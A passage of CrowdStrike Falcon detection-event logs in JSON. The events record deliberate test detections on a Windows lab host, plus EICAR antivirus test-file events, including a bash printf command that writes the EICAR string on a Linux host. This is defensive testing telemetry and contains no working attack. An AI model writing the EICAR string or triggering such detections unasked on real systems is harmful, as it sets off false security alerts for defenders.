this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}} +{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar